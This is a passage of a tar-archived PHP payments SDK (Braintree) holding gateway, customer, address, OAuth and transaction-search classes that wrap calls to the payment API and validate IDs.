$this->searchTerms['min'] = $value; return $this; } public function lessThanOrEqualTo($value) { $this->searchTerms['max'] = $value; return $this; } public function is($value) { $this->searchTerms['is'] = $value; return $this; } public function between($min, $max) { return $this->greaterThanOrEqualTo($min)->lessThanOrEqualTo($max); } public function toParam() { return $this->searchTerms; } } class_alias('Braintree\RangeNode', 'Braintree_RangeNode'); ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/OAuthGateway.php������������������������������������������������������������0000644�����������������00000007651�14720677707�0014305 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; /** * Braintree OAuthGateway module * PHP Version 5 * Creates and manages Braintree Addresses * * @package Braintree */ class OAuthGateway { private $_gateway; private $_config; private $_http; public function __construct($gateway) { $this->_gateway = $gateway; $this->_config = $gateway->config; $this->_http = new Http($gateway->config); $this->_http->useClientCredentials(); $this->_config->assertHasClientCredentials(); } public function createTokenFromCode($params) { $params['grantType'] = "authorization_code"; return $this->_createToken($params); } public function createTokenFromRefreshToken($params) { $params['grantType'] = "refresh_token"; return $this->_createToken($params); } public function revokeAccessToken($accessToken) { $params = ['token' => $accessToken]; $response = $this->_http->post('/oauth/revoke_access_token', $params); return $this->_verifyGatewayResponse($response); } private function _createToken($params) { $params = ['credentials' => $params]; $response = $this->_http->post('/oauth/access_tokens', $params); return $this->_verifyGatewayResponse($response); } private function _verifyGatewayResponse($response) { if (isset($response['credentials'])) { $result = new Result\Successful( OAuthCredentials::factory($response['credentials']) ); return $this->_mapSuccess($result); } else if (isset($response['result'])) { $result = new Result\Successful( OAuthResult::factory($response['result']) ); return $this->_mapAccessTokenRevokeSuccess($result); } else if (isset($response['apiErrorResponse'])) { $result = new Result\Error($response['apiErrorResponse']); return $this->_mapError($result); } else { throw new Exception\Unexpected( "Expected credentials or apiErrorResponse" ); } } public function _mapError($result) { $error = $result->errors->deepAll()[0]; if ($error->code == Error\Codes::OAUTH_INVALID_GRANT) { $result->error = 'invalid_grant'; } else if ($error->code == Error\Codes::OAUTH_INVALID_CREDENTIALS) { $result->error = 'invalid_credentials'; } else if ($error->code == Error\Codes::OAUTH_INVALID_SCOPE) { $result->error = 'invalid_scope'; } $result->errorDescription = explode(': ', $error->message)[1]; return $result; } public function _mapAccessTokenRevokeSuccess($result) { $result->revocationResult = $result->success; return $result; } public function _mapSuccess($result) { $credentials = $result->credentials; $result->accessToken = $credentials->accessToken; $result->refreshToken = $credentials->refreshToken; $result->tokenType = $credentials->tokenType; $result->expiresAt = $credentials->expiresAt; return $result; } public function connectUrl($params = []) { $query = Util::camelCaseToDelimiterArray($params, '_'); $query['client_id'] = $this->_config->getClientId(); $queryString = preg_replace('/\%5B\d+\%5D/', '%5B%5D', http_build_query($query)); return $this->_config->baseUrl() . '/oauth/connect?' . $queryString; } /** * @deprecated since version 3.26.1 */ public function computeSignature($url) { $key = hash('sha256', $this->_config->getClientSecret(), true); return hash_hmac('sha256', $url, $key); } } class_alias('Braintree\OAuthGateway', 'Braintree_OAuthGateway'); ���������������������������������������������������������������������������������������braintree/lib/Braintree/SettlementBatchSummaryGateway.php�������������������������������������������0000644�����������������00000005602�14720677707�0017723 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; class SettlementBatchSummaryGateway { /** * * @var Gateway */ private $_gateway; /** * * @var Configuration */ private $_config; /** * * @var Http */ private $_http; /** * * @param Gateway $gateway */ public function __construct($gateway) { $this->_gateway = $gateway; $this->_config = $gateway->config; $this->_config->assertHasAccessTokenOrKeys(); $this->_http = new Http($gateway->config); } /** * * @param string $settlement_date * @param string $groupByCustomField * @return SettlementBatchSummary|Result\Error */ public function generate($settlement_date, $groupByCustomField = NULL) { $criteria = ['settlement_date' => $settlement_date]; if (isset($groupByCustomField)) { $criteria['group_by_custom_field'] = $groupByCustomField; } $params = ['settlement_batch_summary' => $criteria]; $path = $this->_config->merchantPath() . '/settlement_batch_summary'; $response = $this->_http->post($path, $params); if (isset($groupByCustomField)) { $response['settlementBatchSummary']['records'] = $this->_underscoreCustomField( $groupByCustomField, $response['settlementBatchSummary']['records'] ); } return $this->_verifyGatewayResponse($response); } /** * * @param string $groupByCustomField * @param array $records * @return array */ private function _underscoreCustomField($groupByCustomField, $records) { $updatedRecords = []; foreach ($records as $record) { $camelized = Util::delimiterToCamelCase($groupByCustomField); $record[$groupByCustomField] = $record[$camelized]; unset($record[$camelized]); $updatedRecords[] = $record; } return $updatedRecords; } /** * * @param array $response * @return Result\Successful|Result\Error * @throws Exception\Unexpected */ private function _verifyGatewayResponse($response) { if (isset($response['settlementBatchSummary'])) { return new Result\Successful( SettlementBatchSummary::factory($response['settlementBatchSummary']) ); } else if (isset($response['apiErrorResponse'])) { return new Result\Error($response['apiErrorResponse']); } else { throw new Exception\Unexpected( "Expected settlementBatchSummary or apiErrorResponse" ); } } } class_alias('Braintree\SettlementBatchSummaryGateway', 'Braintree_SettlementBatchSummaryGateway'); ������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/AddressGateway.php����������������������������������������������������������0000644�����������������00000022253�14720677707�0014645 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; use InvalidArgumentException; /** * Braintree AddressGateway module * PHP Version 5 * Creates and manages Braintree Addresses * * An Address belongs to a Customer. It can be associated to a * CreditCard as the billing address. It can also be used * as the shipping address when creating a Transaction. * * @package Braintree */ class AddressGateway { /** * * @var Gateway */ private $_gateway; /** * * @var Configuration */ private $_config; /** * * @var Http */ private $_http; /** * * @param Gateway $gateway */ public function __construct($gateway) { $this->_gateway = $gateway; $this->_config = $gateway->config; $this->_config->assertHasAccessTokenOrKeys(); $this->_http = new Http($gateway->config); } /* public class methods */ /** * * @access public * @param array $attribs * @return Result\Successful|Result\Error */ public function create($attribs) { Util::verifyKeys(self::createSignature(), $attribs); $customerId = isset($attribs['customerId']) ? $attribs['customerId'] : null; $this->_validateCustomerId($customerId); unset($attribs['customerId']); try { return $this->_doCreate( '/customers/' . $customerId . '/addresses', ['address' => $attribs] ); } catch (Exception\NotFound $e) { throw new Exception\NotFound( 'Customer ' . $customerId . ' not found.' ); } } /** * attempts the create operation assuming all data will validate * returns a Address object instead of a Result * * @access public * @param array $attribs * @return self * @throws Exception\ValidationError */ public function createNoValidate($attribs) { $result = $this->create($attribs); return Util::returnObjectOrThrowException(__CLASS__, $result); } /** * delete an address by id * * @param mixed $customerOrId * @param string $addressId */ public function delete($customerOrId = null, $addressId = null) { $this->_validateId($addressId); $customerId = $this->_determineCustomerId($customerOrId); $path = $this->_config->merchantPath() . '/customers/' . $customerId . '/addresses/' . $addressId; $this->_http->delete($path); return new Result\Successful(); } /** * find an address by id * * Finds the address with the given <b>addressId</b> that is associated * to the given <b>customerOrId</b>. * If the address cannot be found, a NotFound exception will be thrown. * * * @access public * @param mixed $customerOrId * @param string $addressId * @return Address * @throws Exception\NotFound */ public function find($customerOrId, $addressId) { $customerId = $this->_determineCustomerId($customerOrId); $this->_validateId($addressId); try { $path = $this->_config->merchantPath() . '/customers/' . $customerId . '/addresses/' . $addressId; $response = $this->_http->get($path); return Address::factory($response['address']); } catch (Exception\NotFound $e) { throw new Exception\NotFound( 'address for customer ' . $customerId . ' with id ' . $addressId . ' not found.' ); } } /** * updates the address record * * if calling this method in context, * customerOrId is the 2nd attribute, addressId 3rd. * customerOrId & addressId are not sent in object context. * * * @access public * @param array $attributes * @param mixed $customerOrId (only used in call) * @param string $addressId (only used in call) * @return Result\Successful|Result\Error */ public function update($customerOrId, $addressId, $attributes) { $this->_validateId($addressId); $customerId = $this->_determineCustomerId($customerOrId); Util::verifyKeys(self::updateSignature(), $attributes); $path = $this->_config->merchantPath() . '/customers/' . $customerId . '/addresses/' . $addressId; $response = $this->_http->put($path, ['address' => $attributes]); return $this->_verifyGatewayResponse($response); } /** * update an address record, assuming validations will pass * * if calling this method in context, * customerOrId is the 2nd attribute, addressId 3rd. * customerOrId & addressId are not sent in object context. * * @access public * @param array $transactionAttribs * @param string $customerId * @return Transaction * @throws Exception\ValidationsFailed * @see Address::update() */ public function updateNoValidate($customerOrId, $addressId, $attributes) { $result = $this->update($customerOrId, $addressId, $attributes); return Util::returnObjectOrThrowException(__CLASS__, $result); } /** * creates a full array signature of a valid create request * @return array gateway create request format */ public static function createSignature() { return [ 'company', 'countryCodeAlpha2', 'countryCodeAlpha3', 'countryCodeNumeric', 'countryName', 'customerId', 'extendedAddress', 'firstName', 'lastName', 'locality', 'postalCode', 'region', 'streetAddress' ]; } /** * creates a full array signature of a valid update request * @return array gateway update request format */ public static function updateSignature() { // TODO: remove customerId from update signature return self::createSignature(); } /** * verifies that a valid address id is being used * @ignore * @param string $id address id * @throws InvalidArgumentException */ private function _validateId($id = null) { if (empty($id) || trim($id) == "") { throw new InvalidArgumentException( 'expected address id to be set' ); } if (!preg_match('/^[0-9A-Za-z_-]+$/', $id)) { throw new InvalidArgumentException( $id . ' is an invalid address id.' ); } } /** * verifies that a valid customer id is being used * @ignore * @param string $id customer id * @throws InvalidArgumentException */ private function _validateCustomerId($id = null) { if (empty($id) || trim($id) == "") { throw new InvalidArgumentException( 'expected customer id to be set' ); } if (!preg_match('/^[0-9A-Za-z_-]+$/', $id)) { throw new InvalidArgumentException( $id . ' is an invalid customer id.' ); } } /** * determines if a string id or Customer object was passed * @ignore * @param mixed $customerOrId * @return string customerId */ private function _determineCustomerId($customerOrId) { $customerId = ($customerOrId instanceof Customer) ? $customerOrId->id : $customerOrId; $this->_validateCustomerId($customerId); return $customerId; } /* private class methods */ /** * sends the create request to the gateway * @ignore * @param string $subPath * @param array $params * @return Result\Successful|Result\Error */ private function _doCreate($subPath, $params) { $fullPath = $this->_config->merchantPath() . $subPath; $response = $this->_http->post($fullPath, $params); return $this->_verifyGatewayResponse($response); } /** * generic method for validating incoming gateway responses * * creates a new Address object and encapsulates * it inside a Result\Successful object, or * encapsulates an Errors object inside a Result\Error * alternatively, throws an Unexpected exception if the response is invalid * * @ignore * @param array $response gateway response values * @return Result\Successful|Result\Error * @throws Exception\Unexpected */ private function _verifyGatewayResponse($response) { if (isset($response['address'])) { // return a populated instance of Address return new Result\Successful( Address::factory($response['address']) ); } else if (isset($response['apiErrorResponse'])) { return new Result\Error($response['apiErrorResponse']); } else { throw new Exception\Unexpected( "Expected address or apiErrorResponse" ); } } } class_alias('Braintree\AddressGateway', 'Braintree_AddressGateway'); �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/PaymentMethod.php�����������������������������������������������������������0000644�����������������00000002000�14720677707�0014500 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; /** * Braintree PaymentMethod module * * @package Braintree * @category Resources */ /** * Creates and manages Braintree PaymentMethods * * <b>== More information ==</b> * * * @package Braintree * @category Resources */ class PaymentMethod extends Base { // static methods redirecting to gateway public static function create($attribs) { return Configuration::gateway()->paymentMethod()->create($attribs); } public static function find($token) { return Configuration::gateway()->paymentMethod()->find($token); } public static function update($token, $attribs) { return Configuration::gateway()->paymentMethod()->update($token, $attribs); } public static function delete($token, $options=[]) { return Configuration::gateway()->paymentMethod()->delete($token, $options); } } class_alias('Braintree\PaymentMethod', 'Braintree_PaymentMethod'); braintree/lib/Braintree/ClientTokenGateway.php������������������������������������������������������0000644�����������������00000006520�14720677707�0015476 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; use InvalidArgumentException; class ClientTokenGateway { /** * * @var Gateway */ private $_gateway; /** * * @var Configuration */ private $_config; /** * * @var Http */ private $_http; /** * * @param Gateway $gateway */ public function __construct($gateway) { $this->_gateway = $gateway; $this->_config = $gateway->config; $this->_config->assertHasAccessTokenOrKeys(); $this->_http = new Http($gateway->config); } public function generate($params=[]) { if (!array_key_exists("version", $params)) { $params["version"] = ClientToken::DEFAULT_VERSION; } $this->conditionallyVerifyKeys($params); $generateParams = ["client_token" => $params]; return $this->_doGenerate('/client_token', $generateParams); } /** * sends the generate request to the gateway * * @ignore * @param var $url * @param array $params * @return string */ public function _doGenerate($subPath, $params) { $fullPath = $this->_config->merchantPath() . $subPath; $response = $this->_http->post($fullPath, $params); return $this->_verifyGatewayResponse($response); } /** * * @param array $params * @throws InvalidArgumentException */ public function conditionallyVerifyKeys($params) { if (array_key_exists("customerId", $params)) { Util::verifyKeys($this->generateWithCustomerIdSignature(), $params); } else { Util::verifyKeys($this->generateWithoutCustomerIdSignature(), $params); } } /** * * @return mixed[] */ public function generateWithCustomerIdSignature() { return [ "version", "customerId", "proxyMerchantId", ["options" => ["makeDefault", "verifyCard", "failOnDuplicatePaymentMethod"]], "merchantAccountId"]; } /** * * @return string[] */ public function generateWithoutCustomerIdSignature() { return ["version", "proxyMerchantId", "merchantAccountId"]; } /** * generic method for validating incoming gateway responses * * If the request is successful, returns a client token string. * Otherwise, throws an InvalidArgumentException with the error * response from the Gateway or an HTTP status code exception. * * @ignore * @param array $response gateway response values * @return string client token * @throws InvalidArgumentException | HTTP status code exception */ private function _verifyGatewayResponse($response) { if (isset($response['clientToken'])) { return $response['clientToken']['value']; } elseif (isset($response['apiErrorResponse'])) { throw new InvalidArgumentException( $response['apiErrorResponse']['message'] ); } else { throw new Exception\Unexpected( "Expected clientToken or apiErrorResponse" ); } } } class_alias('Braintree\ClientTokenGateway', 'Braintree_ClientTokenGateway'); ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/DiscountGateway.php���������������������������������������������������������0000644�����������������00000001407�14720677707�0015046 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; class DiscountGateway { private $_gateway; private $_config; private $_http; public function __construct($gateway) { $this->_gateway = $gateway; $this->_config = $gateway->config; $this->_config->assertHasAccessTokenOrKeys(); $this->_http = new Http($gateway->config); } public function all() { $path = $this->_config->merchantPath() . '/discounts'; $response = $this->_http->get($path); $discounts = ["discount" => $response['discounts']]; return Util::extractAttributeAsArray( $discounts, 'discount' ); } } class_alias('Braintree\DiscountGateway', 'Braintree_DiscountGateway'); ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/Plan.php��������������������������������������������������������������������0000644�����������������00000003731�14720677707�0012630 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; /** * @property-read \Braintree\Addon[] $addOns * @property-read string $id * @property-read int|null $billingDayOfMonth * @property-read int $billingFrequency * @property-read \DateTime $createdAt * @property-read string $currencyIsoCode * @property-read string|null $description * @property-read \Braintree\Discount[] $discounts * @property-read string $name * @property-read int|null $numberOfBillingCycles * @property-read string $price * @property-read int|null $trialDuration * @property-read string|null $trialDurationUnit * @property-read boolean $trialPeriod * @property-read \DateTime $updatedAt */ class Plan extends Base { public static function factory($attributes) { $instance = new self(); $instance->_initialize($attributes); return $instance; } protected function _initialize($attributes) { $this->_attributes = $attributes; $addOnArray = []; if (isset($attributes['addOns'])) { foreach ($attributes['addOns'] AS $addOn) { $addOnArray[] = AddOn::factory($addOn); } } $this->_attributes['addOns'] = $addOnArray; $discountArray = []; if (isset($attributes['discounts'])) { foreach ($attributes['discounts'] AS $discount) { $discountArray[] = Discount::factory($discount); } } $this->_attributes['discounts'] = $discountArray; $planArray = []; if (isset($attributes['plans'])) { foreach ($attributes['plans'] AS $plan) { $planArray[] = self::factory($plan); } } $this->_attributes['plans'] = $planArray; } // static methods redirecting to gateway public static function all() { return Configuration::gateway()->plan()->all(); } } class_alias('Braintree\Plan', 'Braintree_Plan'); ���������������������������������������braintree/lib/Braintree/SignatureService.php��������������������������������������������������������0000644�����������������00000000746�14720677707�0015223 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; class SignatureService { public function __construct($key, $digest) { $this->key = $key; $this->digest = $digest; } public function sign($payload) { return $this->hash($payload) . "|" . $payload; } public function hash($data) { return call_user_func($this->digest, $this->key, $data); } } class_alias('Braintree\SignatureService', 'Braintree_SignatureService'); ��������������������������braintree/lib/Braintree/Customer.php����������������������������������������������������������������0000644�����������������00000033135�14720677707�0013540 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; /** * Braintree Customer module * Creates and manages Customers * * <b>== More information ==</b> * * For more detailed information on Customers, see {@link https://developers.braintreepayments.com/reference/response/customer/php https://developers.braintreepayments.com/reference/response/customer/php} * * @package Braintree * @category Resources * * @property-read \Braintree\Address[] $addresses * @property-read \Braintree\AndroidPayCard[] $androidPayCards * @property-read \Braintree\AmexExpressCheckoutCard[] $amexExpressCheckoutCards * @property-read \Braintree\ApplePayCard[] $applePayCards * @property-read \Braintree\CoinbaseAccount[] $coinbaseAccounts * @property-read string $company * @property-read \DateTime $createdAt * @property-read \Braintree\CreditCard[] $creditCards * @property-read array $customFields custom fields passed with the request * @property-read string $email * @property-read string $fax * @property-read string $firstName * @property-read string $id * @property-read string $lastName * @property-read \Braintree\MasterpassCard[] $masterpassCards * @property-read \Braintree\PaymentMethod[] $paymentMethods * @property-read \Braintree\PayPalAccount[] $paypalAccounts * @property-read string $phone * @property-read \Braintree\SamsungPayCard[] $samsungPayCards * @property-read \DateTime $updatedAt * @property-read \Braintree\UsBankAccount[] $usBankAccounts * @property-read \Braintree\VenmoAccount[] $venmoAccounts * @property-read \Braintree\VisaCheckoutCard[] $visaCheckoutCards * @property-read string $website */ class Customer extends Base { /** * * @return Customer[] */ public static function all() { return Configuration::gateway()->customer()->all(); } /** * * @param string $query * @param int[] $ids * @return Customer|Customer[] */ public static function fetch($query, $ids) { return Configuration::gateway()->customer()->fetch($query, $ids); } /** * * @param array $attribs * @return Result\Successful|Result\Error */ public static function create($attribs = []) { return Configuration::gateway()->customer()->create($attribs); } /** * * @param array $attribs * @return Customer */ public static function createNoValidate($attribs = []) { return Configuration::gateway()->customer()->createNoValidate($attribs); } /** * @deprecated since version 2.3.0 * @param string $queryString * @return Result\Successful */ public static function createFromTransparentRedirect($queryString) { return Configuration::gateway()->customer()->createFromTransparentRedirect($queryString); } /** * @deprecated since version 2.3.0 * @return string */ public static function createCustomerUrl() { return Configuration::gateway()->customer()->createCustomerUrl(); } /** * * @throws Exception\NotFound * @param string $id customer id * @return Customer */ public static function find($id, $associationFilterId = null) { return Configuration::gateway()->customer()->find($id, $associationFilterId); } /** * * @param int $customerId * @param array $transactionAttribs * @return Result\Successful|Result\Error */ public static function credit($customerId, $transactionAttribs) { return Configuration::gateway()->customer()->credit($customerId, $transactionAttribs); } /** * * @throws Exception\ValidationError * @param type $customerId * @param type $transactionAttribs * @return Transaction */ public static function creditNoValidate($customerId, $transactionAttribs) { return Configuration::gateway()->customer()->creditNoValidate($customerId, $transactionAttribs); } /** * * @throws Exception on invalid id or non-200 http response code * @param int $customerId * @return Result\Successful */ public static function delete($customerId) { return Configuration::gateway()->customer()->delete($customerId); } /** * * @param int $customerId * @param array $transactionAttribs * @return Transaction */ public static function sale($customerId, $transactionAttribs) { return Configuration::gateway()->customer()->sale($customerId, $transactionAttribs); } /** * * @param int $customerId * @param array $transactionAttribs * @return Transaction */ public static function saleNoValidate($customerId, $transactionAttribs) { return Configuration::gateway()->customer()->saleNoValidate($customerId, $transactionAttribs); } /** * * @throws InvalidArgumentException * @param string $query * @return ResourceCollection */ public static function search($query) { return Configuration::gateway()->customer()->search($query); } /** * * @throws Exception\Unexpected * @param int $customerId * @param array $attributes * @return Result\Successful|Result\Error */ public static function update($customerId, $attributes) { return Configuration::gateway()->customer()->update($customerId, $attributes); } /** * * @throws Exception\Unexpected * @param int $customerId * @param array $attributes * @return CustomerGateway */ public static function updateNoValidate($customerId, $attributes) { return Configuration::gateway()->customer()->updateNoValidate($customerId, $attributes); } /** * * @deprecated since version 2.3.0 * @return string */ public static function updateCustomerUrl() { return Configuration::gateway()->customer()->updateCustomerUrl(); } /** * * @deprecated since version 2.3.0 * @param string $queryString * @return Result\Successful|Result\Error */ public static function updateFromTransparentRedirect($queryString) { return Configuration::gateway()->customer()->updateFromTransparentRedirect($queryString); } /* instance methods */ /** * sets instance properties from an array of values * * @ignore * @access protected * @param array $customerAttribs array of customer data */ protected function _initialize($customerAttribs) { $this->_attributes = $customerAttribs; $addressArray = []; if (isset($customerAttribs['addresses'])) { foreach ($customerAttribs['addresses'] AS $address) { $addressArray[] = Address::factory($address); } } $this->_set('addresses', $addressArray); $creditCardArray = []; if (isset($customerAttribs['creditCards'])) { foreach ($customerAttribs['creditCards'] AS $creditCard) { $creditCardArray[] = CreditCard::factory($creditCard); } } $this->_set('creditCards', $creditCardArray); $coinbaseAccountArray = []; if (isset($customerAttribs['coinbaseAccounts'])) { foreach ($customerAttribs['coinbaseAccounts'] AS $coinbaseAccount) { $coinbaseAccountArray[] = CoinbaseAccount::factory($coinbaseAccount); } } $this->_set('coinbaseAccounts', $coinbaseAccountArray); $paypalAccountArray = []; if (isset($customerAttribs['paypalAccounts'])) { foreach ($customerAttribs['paypalAccounts'] AS $paypalAccount) { $paypalAccountArray[] = PayPalAccount::factory($paypalAccount); } } $this->_set('paypalAccounts', $paypalAccountArray); $applePayCardArray = []; if (isset($customerAttribs['applePayCards'])) { foreach ($customerAttribs['applePayCards'] AS $applePayCard) { $applePayCardArray[] = ApplePayCard::factory($applePayCard); } } $this->_set('applePayCards', $applePayCardArray); $androidPayCardArray = []; if (isset($customerAttribs['androidPayCards'])) { foreach ($customerAttribs['androidPayCards'] AS $androidPayCard) { $androidPayCardArray[] = AndroidPayCard::factory($androidPayCard); } } $this->_set('androidPayCards', $androidPayCardArray); $amexExpressCheckoutCardArray = []; if (isset($customerAttribs['amexExpressCheckoutCards'])) { foreach ($customerAttribs['amexExpressCheckoutCards'] AS $amexExpressCheckoutCard) { $amexExpressCheckoutCardArray[] = AmexExpressCheckoutCard::factory($amexExpressCheckoutCard); } } $this->_set('amexExpressCheckoutCards', $amexExpressCheckoutCardArray); $venmoAccountArray = array(); if (isset($customerAttribs['venmoAccounts'])) { foreach ($customerAttribs['venmoAccounts'] AS $venmoAccount) { $venmoAccountArray[] = VenmoAccount::factory($venmoAccount); } } $this->_set('venmoAccounts', $venmoAccountArray); $visaCheckoutCardArray = []; if (isset($customerAttribs['visaCheckoutCards'])) { foreach ($customerAttribs['visaCheckoutCards'] AS $visaCheckoutCard) { $visaCheckoutCardArray[] = VisaCheckoutCard::factory($visaCheckoutCard); } } $this->_set('visaCheckoutCards', $visaCheckoutCardArray); $masterpassCardArray = []; if (isset($customerAttribs['masterpassCards'])) { foreach ($customerAttribs['masterpassCards'] AS $masterpassCard) { $masterpassCardArray[] = MasterpassCard::factory($masterpassCard); } } $this->_set('masterpassCards', $masterpassCardArray); $samsungPayCardArray = []; if (isset($customerAttribs['samsungPayCards'])) { foreach ($customerAttribs['samsungPayCards'] AS $samsungPayCard) { $samsungPayCardArray[] = SamsungPayCard::factory($samsungPayCard); } } $this->_set('samsungPayCards', $samsungPayCardArray); $usBankAccountArray = array(); if (isset($customerAttribs['usBankAccounts'])) { foreach ($customerAttribs['usBankAccounts'] AS $usBankAccount) { $usBankAccountArray[] = UsBankAccount::factory($usBankAccount); } } $this->_set('usBankAccounts', $usBankAccountArray); $this->_set('paymentMethods', array_merge( $this->creditCards, $this->paypalAccounts, $this->applePayCards, $this->coinbaseAccounts, $this->androidPayCards, $this->amexExpressCheckoutCards, $this->venmoAccounts, $this->visaCheckoutCards, $this->masterpassCards, $this->samsungPayCards, $this->usBankAccounts )); } /** * returns a string representation of the customer * @return string */ public function __toString() { return __CLASS__ . '[' . Util::attributesToString($this->_attributes) .']'; } /** * returns false if comparing object is not a Customer, * or is a Customer with a different id * * @param object $otherCust customer to compare against * @return boolean */ public function isEqual($otherCust) { return !($otherCust instanceof Customer) ? false : $this->id === $otherCust->id; } /** * returns an array containt all of the customer's payment methods * * @deprecated since version 3.1.0 - use the paymentMethods property directly * * @return array */ public function paymentMethods() { return $this->paymentMethods; } /** * returns the customer's default payment method * * @return CreditCard|PayPalAccount */ public function defaultPaymentMethod() { $defaultPaymentMethods = array_filter($this->paymentMethods, 'Braintree\Customer::_defaultPaymentMethodFilter'); return current($defaultPaymentMethods); } public static function _defaultPaymentMethodFilter($paymentMethod) { return $paymentMethod->isDefault(); } /* private class properties */ /** * @access protected * @var array registry of customer data */ protected $_attributes = [ 'addresses' => '', 'company' => '', 'creditCards' => '', 'email' => '', 'fax' => '', 'firstName' => '', 'id' => '', 'lastName' => '', 'phone' => '', 'createdAt' => '', 'updatedAt' => '', 'website' => '', ]; /** * factory method: returns an instance of Customer * to the requesting method, with populated properties * * @ignore * @param array $attributes * @return Customer */ public static function factory($attributes) { $instance = new Customer(); $instance->_initialize($attributes); return $instance; } } class_alias('Braintree\Customer', 'Braintree_Customer'); �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/TransactionSearch.php�������������������������������������������������������0000644�����������������00000017513�14720677707�0015354 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; class TransactionSearch { public static function amount() { return new RangeNode("amount"); } public static function authorizationExpiredAt() { return new RangeNode("authorizationExpiredAt"); } public static function authorizedAt() { return new RangeNode("authorizedAt"); } public static function billingCompany() { return new TextNode('billing_company'); } public static function billingCountryName() { return new TextNode('billing_country_name'); } public static function billingExtendedAddress() { return new TextNode('billing_extended_address'); } public static function billingFirstName() { return new TextNode('billing_first_name'); } public static function billingLastName() { return new TextNode('billing_last_name'); } public static function billingLocality() { return new TextNode('billing_locality'); } public static function billingPostalCode() { return new TextNode('billing_postal_code'); } public static function billingRegion() { return new TextNode('billing_region'); } public static function billingStreetAddress() { return new TextNode('billing_street_address'); } public static function createdAt() { return new RangeNode("createdAt"); } public static function creditCardCardholderName() { return new TextNode('credit_card_cardholderName'); } public static function creditCardExpirationDate() { return new EqualityNode('credit_card_expiration_date'); } public static function creditCardNumber() { return new PartialMatchNode('credit_card_number'); } public static function creditCardUniqueIdentifier() { return new TextNode('credit_card_unique_identifier'); } public static function currency() { return new TextNode('currency'); } public static function customerCompany() { return new TextNode('customer_company'); } public static function customerEmail() { return new TextNode('customer_email'); } public static function customerFax() { return new TextNode('customer_fax'); } public static function customerFirstName() { return new TextNode('customer_first_name'); } public static function customerId() { return new TextNode('customer_id'); } public static function customerLastName() { return new TextNode('customer_last_name'); } public static function customerPhone() { return new TextNode('customer_phone'); } public static function customerWebsite() { return new TextNode('customer_website'); } public static function disbursementDate() { return new RangeNode("disbursementDate"); } public static function disputeDate() { return new RangeNode("disputeDate"); } public static function europeBankAccountIban() { return new TextNode("europeBankAccountIban"); } public static function failedAt() { return new RangeNode("failedAt"); } public static function gatewayRejectedAt() { return new RangeNode("gatewayRejectedAt"); } public static function id() { return new TextNode('id'); } public static function ids() { return new MultipleValueNode('ids'); } public static function merchantAccountId() { return new MultipleValueNode("merchant_account_id"); } public static function orderId() { return new TextNode('order_id'); } public static function paymentInstrumentType() { return new MultipleValueNode('paymentInstrumentType'); } public static function paymentMethodToken() { return new TextNode('payment_method_token'); } public static function paypalAuthorizationId() { return new TextNode('paypal_authorization_id'); } public static function paypalPayerEmail() { return new TextNode('paypal_payer_email'); } public static function paypalPaymentId() { return new TextNode('paypal_payment_id'); } public static function processorAuthorizationCode() { return new TextNode('processor_authorization_code'); } public static function processorDeclinedAt() { return new RangeNode("processorDeclinedAt"); } public static function refund() { return new KeyValueNode("refund"); } public static function settledAt() { return new RangeNode("settledAt"); } public static function settlementBatchId() { return new TextNode('settlement_batch_id'); } public static function shippingCompany() { return new TextNode('shipping_company'); } public static function shippingCountryName() { return new TextNode('shipping_country_name'); } public static function shippingExtendedAddress() { return new TextNode('shipping_extended_address'); } public static function shippingFirstName() { return new TextNode('shipping_first_name'); } public static function shippingLastName() { return new TextNode('shipping_last_name'); } public static function shippingLocality() { return new TextNode('shipping_locality'); } public static function shippingPostalCode() { return new TextNode('shipping_postal_code'); } public static function shippingRegion() { return new TextNode('shipping_region'); } public static function shippingStreetAddress() { return new TextNode('shipping_street_address'); } public static function submittedForSettlementAt() { return new RangeNode("submittedForSettlementAt"); } public static function user() { return new MultipleValueNode('user'); } public static function voidedAt() { return new RangeNode("voidedAt"); } public static function createdUsing() { return new MultipleValueNode('created_using', [ Transaction::FULL_INFORMATION, Transaction::TOKEN ]); } public static function creditCardCardType() { return new MultipleValueNode('credit_card_card_type', [ CreditCard::AMEX, CreditCard::CARTE_BLANCHE, CreditCard::CHINA_UNION_PAY, CreditCard::DINERS_CLUB_INTERNATIONAL, CreditCard::DISCOVER, CreditCard::ELO, CreditCard::JCB, CreditCard::LASER, CreditCard::MAESTRO, CreditCard::MASTER_CARD, CreditCard::SOLO, CreditCard::SWITCH_TYPE, CreditCard::VISA, CreditCard::UNKNOWN ]); } public static function creditCardCustomerLocation() { return new MultipleValueNode('credit_card_customer_location', [ CreditCard::INTERNATIONAL, CreditCard::US ]); } 